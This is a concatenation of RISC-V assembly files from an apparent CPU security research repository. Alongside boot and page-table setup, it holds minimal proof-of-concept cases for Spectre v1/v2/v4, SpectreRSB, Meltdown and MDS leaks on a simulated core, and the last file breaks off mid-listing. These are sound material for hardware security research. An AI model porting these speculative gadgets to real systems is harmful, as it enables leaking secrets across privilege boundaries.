.dword 0x4746454443424140, 0x4f4e4d4c4b4a4948
.dword 0x5756555453525150, 0x5f5e5d5c5b5a5958
.dword 0x6766656463626160, 0x6f6e6d6c6b6a6968
.dword 0x7776757473727170, 0x7f7e7d7c7b7a7978
.global data8
.align 12
data8:
.dword 0x0706050403020100, 0x0f0e0d0c0b0a0908
.dword 0x1716151413121110, 0x1f1e1d1c1b1a1918
.dword 0x2726252423222120, 0x2f2e2d2c2b2a2928
.dword 0x3736353433323130, 0x3f3e3d3c3b3a3938
.dword 0x4746454443424140, 0x4f4e4d4c4b4a4948
.dword 0x5756555453525150, 0x5f5e5d5c5b5a5958
.dword 0x6766656463626160, 0x6f6e6d6c6b6a6968
.dword 0x7776757473727170, 0x7f7e7d7c7b7a7978
.global data9
.align 12
data9:
.dword 0x0706050403020100, 0x0f0e0d0c0b0a0908
.dword 0x1716151413121110, 0x1f1e1d1c1b1a1918
.dword 0x2726252423222120, 0x2f2e2d2c2b2a2928
.dword 0x3736353433323130, 0x3f3e3d3c3b3a3938
.dword 0x4746454443424140, 0x4f4e4d4c4b4a4948
.dword 0x5756555453525150, 0x5f5e5d5c5b5a5958
.dword 0x6766656463626160, 0x6f6e6d6c6b6a6968
.dword 0x7776757473727170, 0x7f7e7d7c7b7a7978
.global data10
.align 12
data10:
.dword 0x0706050403020100, 0x0f0e0d0c0b0a0908
.dword 0x1716151413121110, 0x1f1e1d1c1b1a1918
.dword 0x2726252423222120, 0x2f2e2d2c2b2a2928
.dword 0x3736353433323130, 0x3f3e3d3c3b3a3938
.dword 0x4746454443424140, 0x4f4e4d4c4b4a4948
.dword 0x5756555453525150, 0x5f5e5d5c5b5a5958
.dword 0x6766656463626160, 0x6f6e6d6c6b6a6968
.dword 0x7776757473727170, 0x7f7e7d7c7b7a7978
.section ".data.conflict"
.global conflict
conflict:
.global conflict0
.align 12
conflict0:
.rept 8
.dword 0x050505050505005, 0x0505050505050505
.endr
.global conflict1
.align 12
conflict1:
.rept 8
.dword 0x050505050505005, 0x0505050505050505
.endr
.global conflict2
.align 12
conflict2:
.rept 8
.dword 0x050505050505005, 0x0505050505050505
.endr
.global conflict3
.align 12
conflict3:
.rept 8
.dword 0x050505050505005, 0x0505050505050505
.endr
.global conflict4
.align 12
conflict4:
.rept 8
.dword 0x050505050505005, 0x0505050505050505
.endr
.global conflict5
.align 12
conflict5:
.rept 8
.dword 0x050505050505005, 0x0505050505050505
.endr
.global conflict6
.align 12
conflict6:
.rept 8
.dword 0x050505050505005, 0x0505050505050505
.endr
.global conflict7
.align 12
conflict7:
.rept 8
.dword 0x050505050505005, 0x0505050505050505
.endr
.section ".data.secret"
.global secret
.align 12
secret:
.dword 0x00000000deadbeef
|
comsec-group/milesan-meta | 459 | pocs/phantomtrails/init/init-mds.S | # User mode initialization for MDS.
#
# Perform some operations in user mode to make sure that microarchitectural
# buffers are filled with valid entries before we run the test case.
# This page should not be touched by the rest of the program.
#define FORBIDDEN_ADDR 0x8000C000
.section .u_text , "ax"
init_uarch:
li s0, FORBIDDEN_ADDR
.rep 16
ld t0, 0(s0)
sd t1, 16(s0)
addi s0, s0, 32
.endr
# Padding for alignment
nop
|
comsec-group/milesan-meta | 5,128 | pocs/phantomtrails/init/init.S | /* PMP configuration */
#define PMP_R 0x01
#define PMP_W 0x02
#define PMP_X 0x04
#define PMP_A 0x18
#define PMP_A_TOR 0x08
#define PMP_A_NA4 0x10
#define PMP_A_NAPOT 0x18
#define PMP_L 0x80
#define CSR_CYCLE 0xc00
#define CSR_TIME 0xc01
#define CSR_MCAUSE 0x342
#define CSR_MTVAL 0x343
#define CSR_MIP 0x344
#define CSR_PMPCFG0 0x3a0
#define CSR_PMPADDR0 0x3b0
#define CSR_MHARTID 0xf14
#include "memcfg.h"
// ------------------ Machine-Mode Code
.section .init
init_trap_vector:
// all traps will end up in the pc
// being set to trap_handler
lla t0, trap_handler
csrw mtvec, t0
change_to_S:
// clear Trap Virtual Memory(TVM) bit
li s1, 0x00100000
csrc mstatus, s1
// set MPP such that we return to S mode
li s1, 0x00001000
csrc mstatus, s1
li s1, 0x00000800
csrs mstatus, s1
// Setup a PMP to permit access to all of memory
li a0, -1
csrw CSR_PMPADDR0, a0
li a0, (PMP_A_NAPOT | PMP_R | PMP_W | PMP_X)
csrw CSR_PMPCFG0, a0
// load address of S mode code
lla s2, s_code
csrw mepc, s2
// return to S mode code
mret
.align 4
trap_handler:
li a1, REGDUMP_ADDR
# Store all registers to the address in a1
sd x0, 0(a1)
sd ra, 0(a1)
sd sp, 0(a1)
sd gp, 0(a1)
sd tp, 0(a1)
sd t0, 0(a1)
sd t1, 0(a1)
sd t2, 0(a1)
sd s0, 0(a1)
sd s1, 0(a1)
sd a0, 0(a1)
sd a1, 0(a1)
sd a2, 0(a1)
sd a3, 0(a1)
sd a4, 0(a1)
sd a5, 0(a1)
sd a6, 0(a1)
sd a7, 0(a1)
sd s2, 0(a1)
sd s3, 0(a1)
sd s4, 0(a1)
sd s5, 0(a1)
sd s6, 0(a1)
sd s7, 0(a1)
sd s8, 0(a1)
sd s9, 0(a1)
sd s10, 0(a1)
sd s11, 0(a1)
sd t3, 0(a1)
sd t4, 0(a1)
sd t5, 0(a1)
sd t6, 0(a1)
li a0, STOPSIG_ADDR
sd a0, 0(a0)
// ------------------ Supervisor Code
.align 4
s_code:
set_page_table:
// set the satp register and page table accordingly
// page table address is 0x00000080002 (actual address 0x80002000)
// ASID is 0x0004 (random value)
// MODE is 0x8 (for Sv39)
li s0, 0x8000400000080002
#ifndef NO_MMU
csrw satp, s0
#endif
init_cache:
// Load taint into the cache hierarchy.
lla s0, s_mem
addi s0, s0, 8
ld s0, 0(s0)
prepare_change_to_U:
// set SPP such that we return to U mode
li s1, 0x00000100
csrc sstatus, s1
// load address of user mode code
lla s2, u_code
# li s2, 0x80008000
csrw sepc, s2
init_regs:
// Initialize registers
// Basic regs
li x1, 0x80008000
li x2, 0x80008000
li x3, 0x80008000
li x4, 0x80008000
// User data
li x5, 0x80009000
li x6, 0x80009000
li x7, 0x80009000
li x8, 0x80009000
// Supervisor data
li x9, 0x80001000
li x10, 0x80001000
li x11, 0x80001000
li x12, 0x80001000
// User code
li x13, 0x8000A000
li x15, 0x8000A000
li x15, 0x8000A000
li x16, 0x8000A000
// Other user data
li x17, 0x8000B000
li x18, 0x8000B000
li x19, 0x8000B000
li x20, 0x8000B000
// Power of two constants
li x21, 8
li x22, 16
li x23, 32
li x24, 64
change_to_u:
// return to U mode code
sret
// ------------------ Supervisor Data
.section .s_data , "adw"
s_mem:
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
.dword 0x0000000000000000
// ------------------ Page Tables ---------------------
// table1@0x80002000
.section .table1 , "adw"
table1:
.dword 0x20001401 // table2_addr0
.dword 0x0 // empty
.dword 0x20000c01 // table2
// table2@0x80003000
.section .table2 , "adw"
table2:
.dword 0x20001001 // table3
// table3@0x80004000
.section .table3 , "adw"
table3:
.dword 0x2000004b // text
.dword 0x200004c7 // s_data
.dword 0x0 // table1
.dword 0x0 // table2
.dword 0x0 // table3
.dword 0x0 // table2_addr0
.dword 0x0 // table3_addr0
.dword 0x0 // empty
.dword 0x2000205b // u_text
.dword 0x200024d7 // u_data
.dword 0x200028d7 // u_data
.dword 0x20002cd7 // u_data
.dword 0x200030d7 // u_data (MDS)
// table2_addr0@0x80005000
.section .table2_addr0 , "adw"
table2_addr0:
.dword 0x20001801 // table3_addr0
// table3_addr0@0x80006000
.section .table3_addr0 , "adw"
table3_addr0:
.dword 0x2000205b // u_text
// empty (for binary alignment)
.section .empty , "ax"
empty:
.rep 0x200
.dword 0x0
.endr
// ---------------- End Page Tables -------------------
// this is the code section for user mode code
.section .u_text , "ax"
u_code:
// user mode code
|
comsec-group/milesan-meta | 425 | pocs/phantomtrails/boot/bootrom.S | #define BOOTADDR_REG 0x4000
#define DRAM_BASE 0x80000000
.section .text.start, "ax", @progbits
.globl _start
_start:
auipc t0,0x0
li t0, DRAM_BASE
jr t0
.section .text.hang, "ax", @progbits
.globl _hang
_hang: // reset vector
auipc t0,0x0
li t0, DRAM_BASE
jr t0
.section .text.hang80, "ax", @progbits
.globl _hang80
_hang80:
auipc t0,0x0
li t0, DRAM_BASE
jr t0
.align 3
_dtb:
|
comsec-group/milesan-meta | 148 | pocs/phantomtrails/include/boom_prologue.S | .section ".data.init"
secret:
.word 0xdeadbeef
public:
.word 0xffffffff
.section ".text.init","ax",@progbits
.globl _start
.align 2
_start: |
comsec-group/milesan-meta | 1,463 | pocs/phantomtrails/src/tlb/tlbleed.S | #------------------------------------------------------------------------------
# Spectrev1 with static prediction.
#
# Victim reads memory out-of-bounds abusing static branch prediction, which by
# default predicts previously unseen branches as not-taken.
#------------------------------------------------------------------------------
#include "memcfg.h"
.equ ARR_SIZE, 0x10
.equ OOB_IDX, 0x20
.equ NON_POWER_OF_2, 6
.equ N_ITERATIONS, 0x10
#
# Attacker: call the victim with out-of-bounds index.
#
.text
attacker:
# Speculation: call the victim with out-of-bounds index.
li a0, OOB_IDX
li t0, SDATA
call victim
.align 4
end:
# Illegal instruction: end of the test case.
unimp
#
# Victim function: access arr[a0] if a0 is less than 0x20.
#
.align 4
victim:
# Calculate address of arr[a0].
# add t0, t0, a0
# Slow down branch with mul/div by a non-power-of-two.
li t1, NON_POWER_OF_2
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
# Bounds check: skip if `a0` is greater than 0x20.
li t2, ARR_SIZE
bge a0, t2, func_end # <-- statically predicted not-taken
# Branch not taken: trigger transient page fault
lw t0, 0(t0)
#ifndef DISABLE_DEP_LOAD
lw t0, 0(t0) # dependent load
#endif
.align 4
func_end:
# Branch taken: just return.
ret
.align 4
flush:
sfence.vma zero, zero
#include "data.h"
|
comsec-group/milesan-meta | 1,650 | pocs/phantomtrails/src/spectre-lp/poc-minimal.S | .text
init:
# Make sure that all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to '2' (weakly taken).
.rep 128
fence
.endr
# Load legit data (preloads the secret in D-Cache).
lla a0, legit_data
ld t0, 0(a0)
# Train the function to the correct prediction (strongly not taken).
# This simulates system noise, so that we are not in a cold predictor state.
lla a0, legit_data
call target
call target
call target
fence
attacker:
# Call the victim, which will enter an infinite loop of mispredictions.
lla a0, spec_data
call victim
# padding:
.rep 64
unimp
.endr
.align 4
victim:
# This makes sure that the ret returns here and is consistently mispredicted.
auipc ra, 0
.align 4
target:
li t1, 1
li t0, 2
# Slow down branch.
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
# mul t0, t0, t1
# This branch is _never_ executed architecturally and is not in control
# of the attacker.
.align 4
beqz t0, speculative # <---- MISPREDICTED after 7 times
# This instruction has to be mispredicted 7 consecutive times, so that the loop
# predictor infers a loop.
ret
# padding:
.rep 64
unimp
.endr
# ----------- Speculative load.
speculative:
ld t4, 0(a0) # <---- Secret load
ld t4, 0(t4) # dependent load
ret
# padding:
.rep 128
unimp
.endr
# ----------- Data.
.section .data , "adw"
legit_data:
.dword 0xffffffffffffffff
spec_data:
.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 2,683 | pocs/phantomtrails/src/spectre-lp/poc-loop.S |
#define SET_TO_WEAKLY_NOT_TAKEN 0
#define MISPREDICT 2
#define N_DUMMY_RUNS 2
#define LOOP_CONFIDENCE_THRESHOLD 9
#define N_SLOWDOWN 8
.text
init:
# Wait until all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to weakly taken (2).
li t1, 64
init_loop:
fence
addi t0, t0, 1
ble t0, t1, init_loop
# Training phase: call the victim once.
# This will:
# 1. set the BIM entry of the controlled branch to a known state (weakly not taken)
# 2. as a side effect, this also executes the uncontrolled branch once,
# making sure we are not in a cold predictor scenario.
# li a0, SET_TO_WEAKLY_NOT_TAKEN
# call victim
# fence
attacker:
lla s0, secret_data
li a0, MISPREDICT
# Force the victim to mispredict, so that the LoopPredictor gets trigged.
# In this PoC for some reason (maybe race condition with the BIM update?)
# the LoopPredictor's confidence is reset after the first 4 mispredictions,
# so we need 4 pre-training calls.
.rep N_DUMMY_RUNS
call victim
.endr
# Now we increase the LoopPredictor's confidence until it takes over.
.rep LOOP_CONFIDENCE_THRESHOLD
call victim
.endr
# Once the LoopPredictor is in charge, it will flip the prediction for
# our victim branch.
call victim
# End simulation.
unimp
# padding:
.rep 32
nop
.endr
.align 4
victim:
# Attacker controls the number of iterations.
mv t2, a0
li t3, 0 # induction variable
loop:
# Make sure there's only one version of the loop in the RoB.
fence
# These values are _not_ attacker-controlled.
li t0, 2
li t1, 1
# i++
addi t3, t3, 1
# Slow down branch (just multiply t0 by 1).
.rep N_SLOWDOWN
mul t0, t0, t1
div t0, t0, t1
.endr
# This branch is _never_ taken architecturally (t0 constant > 0).
# Note that the attacker has no control over t0 (the branch condition).
.align 4
uncontrolled_branch:
beqz t0, speculative_gadget
# This instruction has to be mispredicted 7 consecutive times, so that the
# loop predictor can kick in.
controlled_branch:
blt t3, t2, loop
# padding:
.rep 32
nop
.endr
ret
# padding:
.rep 64
unimp
.endr
# ----------- Speculative gadget.
.align 4
speculative_gadget:
ld t4, 0(s0) # < ----- this gets executed speculatively, leaking the secret
addi t4, t4, 10 # Just use the secret
ret
helper:
ret
# padding:
.rep 128
unimp
.endr
# ------------- Data.
#.data
secret_data:
.dword 0xcacacafedeadbeef
#.padding
.dword 0
legit_data:
.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 2,608 | pocs/phantomtrails/src/spectre-lp/poc-recursive-ret.S | #define SP 0x80009900
#define N_MISPRED 16
#define N_SATURATION 30
init:
# Wait for BIM initialization.
.rep 128
fence
.endr
# Init stack pointer.
li sp, SP
# Load the secret in the D-Cache.
lla s0, legit_data
ld t0, 0(s0)
# Set the predictor to a known state.
lla s0, legit_data
li a0, 0 # cur_idx
li a1, 0 # recursion depth for func1
li a2, 0 # recursion depth for func2
call func1
fence
.align 4
main:
# Start recursive call chain to saturate RAS.
lla s0, secret_data
li a0, 0 # cur_idx
li a1, N_MISPRED # recursion depth for func1
li a2, N_SATURATION+N_MISPRED # recursion depth for func2
call func1
# End test case.
unimp
# Padding.
.rep 32
unimp
.endr
.align 4
func1:
# Perform N_MISPRED recursive calls to itself, whose returns will be mispredicted.
addi a0, a0, 1
bge a0, a1, call_func2
# Push ret address the stack.
addi sp, sp, 8
sd ra, 0(sp)
# Recursive call.
.align 4
call func1
# Pop ret address from the stack
ld ra, 0(sp)
addi sp, sp, -8
j after
.align 4
# Perform N_SATURATION recursive calls to anothe function to saturate the RAS
# and poison it with another value.
call_func2:
# Push ret address the stack.
addi sp, sp, 8
sd ra, 0(sp)
# Start other recursive call.
.align 4
call func2
# Pop ret address from the stack
ld ra, 0(sp)
addi sp, sp, -8
after:
# Slow down branch.
li t1, 1
li t0, 2
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
mul t0, t0, t1
# Mispredicted branch.
beqz t0, speculative_gadget
ret
# Padding.
.rep 32
unimp
.endr
.align 4
func2:
# Perform N_SATURATION recursive calls to saturate the RAS.
addi a0, a0, 1
bge a0, a2, ret_to_func1
# Push ret address the stack.
addi sp, sp, 8
sd ra, 0(sp)
# Recursive call.
.align 4
call func2
# Pop ret address from the stack
ld ra, 0(sp)
addi sp, sp, -8
fence
ret
.align 4
ret_to_func1:
fence
ret
# Padding.
.rep 32
unimp
.endr
# ----------- Speculative load.
speculative_gadget:
ld t0, 0(s0)
ret
# Padding.
.rep 128
unimp
.endr
# ------------- Data.
# .data
secret_data:
.dword 0xcacacafedeadbeef
# padding:
.dword 0
legit_data:
.dword 0xcacacafedeadbeef
|
comsec-group/milesan-meta | 630 | pocs/phantomtrails/src/mds-tests/mds-lfb.S | #include "memcfg.h"
#define N_VICTIM_LOADS 7
#define N_MUL 0
#define N_LOADS 4
.text
init:
li t0, 0xdeadbeef # secret
li t1, UDATA # victim address
li t2, 0xA0009000 # invalid address
li t4, 0x3
sw t0, 0(t1)
fence
victim:
# Victim loads.
.rep N_VICTIM_LOADS
lw t6, 0(t1)
addi t1, t1, 0x100
.endr
attacker:
# Slow down address resolution.
.rep N_MUL
mul t2, t2, t4
div t2, t2, t4
.endr
.rep N_LOADS
# lw t5, 0(t1)
# Load invalid address -> in-flight value should be forwarded.
lw t5, 0(t2)
.endr
unimp
# #include "data.h"
|
comsec-group/milesan-meta | 422 | pocs/phantomtrails/src/mds-tests/mds_init.S | # User mode initialization for MDS.
#
# Perform some operations in user mode to make sure that microarchitectural
# buffers are filled with valid entries before we run the test case.
# This page should not be touched by the rest of the program.
#define UNTOUCHABLE_ADDR 0x8000C000
.section .text
init_uarch:
li s0, UNTOUCHABLE_ADDR
.rep 16
ld t0, 0(s0)
sd t1, 16(s0)
addi s0, s0, 0x100
.endr
|
comsec-group/milesan-meta | 575 | pocs/phantomtrails/src/mds-tests/mds.S | # Requires MDS initialization (see phantom-trails/BOOM/boom-wrapper/init).
#define INVALID 0xA000110
init:
li t3, INVALID # invalid address (used by attacker)
attacker:
# This load will fail
lw t5, 0(t3) # Load 0xA0001000
addi t3, t3, 0x20
lw t5, 0(t3) # Load 0xA0001010 <----- Speculatively gets stored data
addi t3, t3, 0x20
lw t5, 0(t3) # Load 0xA0000120
addi t3, t3, 0x20
lw t5, 0(t3) # Load 0xA0000130
addi t3, t3, 0x20
lw t5, 0(t3) # Load 0xA0000140
# End simulation.
unimp
|
comsec-group/milesan-meta | 1,011 | pocs/phantomtrails/src/mds-tests/mds-standalone.S | #include "memcfg.h"
#define N_STORES 7
#define N_MUL 0
#define N_LOADS 4
init:
li t0, 0xdeadbeef # secret 1
li t6, 0xcacacafe # secret 2
li t1, 0x80009100 # victim address 1
li t2, 0x80009110 # victim address 2
li t3, 0xA0000100 # invalid address (used by attacker)
li t4, 0x4
fence
victim:
sw t0, 0(t1) # store 0xdeadbeef to address 0x80009100
sw t6, 0(t2) # store 0xcacacafe to address 0x80009110
mul t6, t6, t6 # Padding
mul t6, t6, t6
mul t6, t6, t6
mul t6, t6, t6
mul t6, t6, t6
attacker:
# This load will fail
lw t5, 0(t3) # Load 0xA0000100 <----- Speculatively gets 0xdeadbeef
addi t3, t3, 0x10
lw t5, 0(t3) # Load 0xA0000110 <----- Speculatively gets 0xcacacafe
addi t3, t3, 0x10
lw t5, 0(t3) # Load 0xA0000120
addi t3, t3, 0x10
lw t5, 0(t3) # Load 0xA0000130
addi t3, t3, 0x10
lw t5, 0(t3) # Load 0xA0000140
# End simulation.
unimp
|
comsec-group/milesan-meta | 597 | pocs/phantomtrails/src/mds-tests/mds-sb.S | #include "memcfg.h"
#define N_STORES 7
#define N_MUL 0
#define N_LOADS 4
.text
init:
li t0, 0xdeadbeef # secret
li t1, 0x80009100 # victim address
li t2, 0xA0009100 # invalid address
li t4, 0x3
fence
victim:
# Store secret.
.rep N_STORES
sw t0, 0(t1)
# addi t1, t1, 0x10
.endr
attacker:
# Slow down address resolution.
.rep N_MUL
mul t2, t2, t4
div t2, t2, t4
.endr
.rep N_LOADS
# lw t5, 0(t1)
# Load invalid address -> in-flight value should be forwarded.
lw t5, 0(t2)
.endr
unimp
#include "data.h"
|
comsec-group/milesan-meta | 1,692 | pocs/phantomtrails/src/pocs/spectrev1_training.S | #------------------------------------------------------------------------------
# Spectrev1 with training.
#
# The victim performs an attacker-dependent load if an attacker-controlled
# branch is _taken_.
# Since static prediction is "not-taken", the attacker needs to train the
# predictor before performing the attack.
#------------------------------------------------------------------------------
#include "memcfg.h"
.equ N_TRAINING_ROUNDS, 6
.equ NON_POWER_OF_2, 6
.equ ARR_SIZE, 0x10
.equ OOB_IDX, 0x20
#
# Attacker: call the victim function several times with `a0` in-bounds, and
# one time with `a0` out of bounds. As a result, on the last call, the victim
# speculatively loads memory out of bounds (containing 0xdeadbeef).
#
.text
attacker:
li a0, 0
# Training: call the victim with a0 = 0.
.rept N_TRAINING_ROUNDS
.align 4
call victim
.endr
# Speculation: call the victim with out-of-bounds index.
li a0, OOB_IDX
.align 4
call victim
.align 4
end:
# Illegal instruction: end of the test case.
unimp
#
# Victim function: access arr[a0] if a0 is less than 0x20.
#
.align 4
victim:
# Calculate address of arr[a0].
li t0, UDATA
add t0, t0, a0
# Slow down branch with mul/div by a non-power-of-two.
li t1, NON_POWER_OF_2
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
# Bounds check: jump if `a0` is less than 0x20.
li t2, ARR_SIZE
ble a0, t2, spec
# Branch not taken: return.
ret
.align 4
spec:
# Branch taken: dereference the address.
lw t0, 0(t0)
#ifndef DISABLE_DEP_LOAD
lw t0, 0(t0) # dependent load
#endif
ret
#include "data.h"
|
comsec-group/milesan-meta | 1,032 | pocs/phantomtrails/src/pocs/spectreRSB.S | #------------------------------------------------------------------------------
# SpectreRSB minimal example.
#
# A function modifies its return address, causing the CPU to mispredict on ret.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
context_1:
li s0, UDATA
addi s1, s0, 0x80
li a0, 8
nop
# Call the victim.
call context_switch
spec_code:
# Speculative: load array[a0]. a0 contains the secret loaded by the victim.
add t0, s1, a0
#ifndef DISABLE_DEP_LOAD
ld t0, 0(t0)
#endif
ret
.align 4
context_switch:
# Load secret.
lb a0, 0(s0)
andi a0, a0, 0xff
# Return to context_2.
lla ra, context_2
# Slow down ret.
li t0, 6
mul ra, ra, t0
div ra, ra, t0
mul ra, ra, t0
div ra, ra, t0
ret # <-- mispredicted (spec target: context_1, actual target: context_2).
.align 8
context_2:
# Modify secret.
addi a0, a0, 1
sb a0, 0(s0)
lui a0, 0x1 # clean taint from register
# Illegal Instruction: end test case.
unimp
|
comsec-group/milesan-meta | 1,388 | pocs/phantomtrails/src/pocs/spectrev1.S | #------------------------------------------------------------------------------
# Spectrev1 with static prediction.
#
# Victim reads memory out-of-bounds abusing static branch prediction, which by
# default predicts previously unseen branches as not-taken.
#------------------------------------------------------------------------------
#include "memcfg.h"
.equ ARR_SIZE, 0x10
.equ OOB_IDX, 0x20
.equ NON_POWER_OF_2, 6
#
# Attacker: call the victim with out-of-bounds index.
#
.text
attacker:
# Speculation: call the victim with out-of-bounds index.
li a0, OOB_IDX
call victim
.align 4
end:
# Illegal instruction: end of the test case.
unimp
#
# Victim function: access arr[a0] if a0 is less than 0x20.
#
.align 4
victim:
# Calculate address of arr[a0].
li t0, UDATA
# add t0, t0, a0
# Slow down branch with mul/div by a non-power-of-two.
li t1, NON_POWER_OF_2
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
# Bounds check: skip if `a0` is greater than 0x20.
li t2, ARR_SIZE
bge a0, t2, func_end # <-- statically predicted not-taken
# Branch not taken: dereference the address.
lw t0, 0(t0)
#ifndef DISABLE_DEP_LOAD
lw t0, 0(t0) # dependent load
#endif
.align 4
func_end:
# Branch taken: just return.
ret
#include "data.h"
|
comsec-group/milesan-meta | 444 | pocs/phantomtrails/src/pocs/meltdown-us.S | #include "memcfg.h"
.text
main:
// access to user mode page to show that it works
li s0, UDATA
ld s1, 0(s0)
// access to supervisor mode page, which will raise a fault
li s1, SDATA
lb s1, 0(s1)
// add offset to user base address
mul s1, s0, s1
// load from that address in order to
// reveal secret value through side channel
#ifndef DISABLE_DEP_LOAD
ld s2, 0(s1)
#endif
#include "data.h"
|
comsec-group/milesan-meta | 803 | pocs/phantomtrails/src/pocs/spectrev4-stl.S | #------------------------------------------------------------------------------
# SpectreV4 minimal example.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
li s0, UDATA
addi s1, s0, 0x80
li t0, 0xdeadbeef
li s2, 0x80009000
ld zero, 0(s0)
fence
attack:
mv t2, s0
# Slow down computation of store address.
li t1, 6
mul t2, t2, t1
div t2, t2, t1
mul t2, t2, t1
div t2, t2, t1
# Zero-out memory in s0.
li t1, 0x0
sd t1, 0(t2)
# Load from s0, reodered before the store.
ld t0, 0(s0)
# Use the secret as index.
andi t0, t0, 0xFF
add t0, t0, s2
# Second load: leaks the secret.
#ifndef DISABLE_DEP_LOAD
ld t1, 0(t0)
#endif
# Illegal instruction: end of test case.
# unimp
# #include "data.h"
|
comsec-group/milesan-meta | 556 | pocs/phantomtrails/src/pocs/spectreRSB-static.S | #include "memcfg.h"
.text
setup:
li s2, UDATA
lla s1, ret_target
taint_load:
ld t0, 0(s2)
#ifndef DISABLE_DEP_LOAD
ld t0, 0(t0)
#endif
attack:
# mv s0, s2
# Slow down jump with mul/div by a non-power-of-two.
mv t1, s1
li t2, 6
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
# Change ret target.
mv ra, t1
# Mispredicted ret: empty predictor returns to 0.
ret
unimp
.align 8
ret_target:
ld t0, 0x80(s0)
unimp
#include "data.h"
|
comsec-group/milesan-meta | 354 | pocs/phantomtrails/src/pocs/arch-explosion.S | #include "memcfg.h"
.text
main:
// access to user mode page to show that it works
li s0, UDATA
ld s1, 0(s0)
bnez s1, test
li t1, 0x123
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
mul a0, a0, t1
div a0, a0, t1
.align 4
test:
unimp
#include "data.h"
|
comsec-group/milesan-meta | 1,930 | pocs/phantomtrails/src/pocs/spectrev2.S | #------------------------------------------------------------------------------
# Spectrev2.
#
# The victim takes an index as an argument, and jumps to the corresponding entry
# in a jump table. The attacker first trains the victim by making it jump to
# a leak gadget. Then, it will ask the victim to jump to `legit_target`.
# As a result, the victim speculatively jumps to `leak_gadget` instead.
#------------------------------------------------------------------------------
#include "memcfg.h"
.equ TRAINING_ROUNDS, 1
.equ LEGIT_FUNC_IDX, 0x0
.equ LEAK_FUNC_IDX, 0x10
.equ OOB_IDX, 0x20
.text
setup:
# Setup the jump table.
li s0, UDATA
addi s1, s0, 0x40
lla t0, legit_target
sd t0, LEGIT_FUNC_IDX(s0)
lla t1, leak_target
sd t1, LEAK_FUNC_IDX(s0)
fence
attacker:
# Training: call leak function with in-bounds index.
.rept TRAINING_ROUNDS
li a0, LEAK_FUNC_IDX
mv a1, s1
call victim
.endr
# Attack: call legit function with out-of-bounds index. The victim
# will speculatively jump to the leak function instead of the legit one.
li a0, LEGIT_FUNC_IDX
mv a1, s1
addi a1, a1, OOB_IDX
call victim
# Illegal instruction: end of the test case.
unimp
# Victim function: use a0 as an index in a jump table and perform an indirect
# call to the corresponding function.
# Args:
# a0 -> index of teh function to call
# a1 -> address to leak
.align 4
victim:
# Save ret address.
mv s2, ra
# Calculate jump target.
add t0, s0, a0
ld t1, 0(t0)
# Slow down jump with mul/div by a non-power-of-two.
li t2, 6
mul t1, t1, t2
div t1, t1, t2
mul t1, t1, t2
div t1, t1, t2
# Indirect jump.
jalr ra, t1
# Restore ret address.
mv ra, s2
ret
# Legit target: do nothing.
.align 4
legit_target:
ret
# Leak target: access `a1`.
.align 4
leak_target:
lw t0, 0(a1)
#ifndef DISABLE_DEP_LOAD
lw t0, 0(t0)
#endif
ret
#include "data.h"
|
comsec-group/milesan-meta | 639 | pocs/phantomtrails/src/pocs/spectrev4-single-load.S | #------------------------------------------------------------------------------
# SpectreV4 minimal example.
#------------------------------------------------------------------------------
#include "memcfg.h"
.text
setup:
li s0, UDATA
li s1, UDATA
attack:
# Mul s0 by 1.
li t1, 1
mul s0, s0, t1
mul s0, s0, t1
mul s0, s0, t1
mul s0, s0, t1
mul s0, s0, t1
mul s0, s0, t1
# Store new value in [s0].
sd t1, 0(s0)
# Load from s1, reodered before the store.
ld t0, 0(s1)
#ifndef DISABLE_DEP_LOAD
ld t0, 0(t0) # dependent load
#endif
# Illegal instruction: end of test case.
# unimp
# #include "data.h"
|
comsec-group/milesan-meta | 5 | pocs/phantomtrails/src/test/test.S | unimp |
comsec-group/milesan-meta | 2,188 | pocs/phantomtrails/src/spectre-lp/boom-disclosure/poc.S | #------------------------------------------------------------------------------
# LoopPredictor Spectre variant.
#
# The victim enters an infinite loop, which is mispredicted at each iteration
# due to the RAS being empty. This causes the branch right before the end
# of the loop to also be mispredicted, even if it was never trained.
# The mispredicted branch will jump to a dummy speculative gadget that
# loads the secret (0xcacacfedeadbeef) into the core's Register File.
#------------------------------------------------------------------------------
.text
init:
# Make sure that all predictors are initialized.
# The BIM takes 2048 cycles to initialize all entries to '2' (weakly taken).
.rep 128
fence
.endr
# Load legit data (preloads the secret in D-Cache).
lla a0, legit_data
ld t0, 0(a0)
# Train the function to the correct prediction (strongly not taken).
# This simulates system noise, so that we are not in a cold predictor state.
lla a0, legit_data
call target
call target
call target
fence
attacker:
# Call the victim, which will enter an infinite loop of mispredictions.
lla a0, spec_data
call victim
fence
# padding:
.rep 64
unimp
.endr
.align 4
victim:
# This makes sure that the ret returns here and is consistently mispredicted.
auipc ra, 0
.align 4
target:
li t1, 1
li t0, 2
# Slow down branch.
